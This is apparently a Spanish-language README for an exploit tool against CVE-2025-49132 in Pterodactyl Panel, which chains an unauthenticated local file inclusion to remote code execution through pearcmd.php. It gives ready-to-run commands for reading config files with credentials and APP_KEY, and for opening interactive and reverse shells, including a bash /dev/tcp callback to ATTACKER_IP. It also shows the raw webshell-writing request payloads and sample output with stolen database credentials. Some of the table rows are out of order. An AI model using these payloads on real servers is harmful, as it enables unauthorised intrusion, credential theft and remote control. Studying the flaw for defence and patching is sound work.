
CVE For Pterodactyl (Para estudio y educación)
⚠️ Aviso: Este repositorio se crea solo con fines educativos y de investigación como parte de mi investigación de seguridad para entender y documentar CVE-2025-49132. Todo el crédito por el descubrimiento de la vulnerabilidad corresponde al investigador(es) original(es).
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Panel de Pterodactyl - Exploit de LFI no autenticada a RCE
CVE-2025-49132 es una vulnerabilidad de Inclusión de Archivos Locales no Autenticada (LFI) en el Panel de Pterodactyl que puede escalarse a Ejecución Remota de Código (RCE) a través de pearcmd.php de PHP.
La vulnerabilidad existe en el endpoint /locales/locale.json, que no sanitiza adecuadamente los parámetros locale y namespace, permitiendo a atacantes leer archivos de configuración PHP arbitrarios y lograr ejecución de código.
| Estado | Versión |
|---|---|
| ❌ Vulnerable | <= 1.11.10 |
| ✅ Parcheado | >= 1.11.11 |
pearcmd.php# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Install dependencies
pip install requests
requestscurl (para modo RCE)# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database
# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Distribución | Ruta |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
El endpoint vulnerable /locales/locale.json acepta los parámetros locale y namespace:
GET /locales/locale.json?locale=../../config&namespace=database
Esto permite leer cualquier archivo PHP que devuelva un array, incluyendo archivos de configuración de Laravel.
El exploit encadena LFI con pearcmd.php para lograr RCE:
Etapa 1: Usar el comando config-create de pearcmd.php para escribir un webshell PHP
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Etapa 2: Incluir el shell escrito mediante LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale y namespaceregister_argc_argv de PHPEsta herramienta se proporciona solo con fines educativos y de pruebas de seguridad autorizadas.
Úsela de manera responsable y ética.
⭐ ¡Dale una estrella a este repositorio si te resultó útil!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Argumento | Descripción |
|---|
-u, --url | URL objetivo (requerido) |
-p, --path | Path traversal para LFI o ruta de PEAR para RCE |
-f, --file | Archivo PHP a leer (sin extensión .php) |
--read | Habilitar modo de lectura LFI |
--rce | Habilitar modo RCE |
--cmd | Comando a ejecutar (modo de ejecución única) |
--sdir | Directorio para escribir el shell (por defecto: /tmp) |
--sname | Nombre del archivo shell (por defecto: shell) |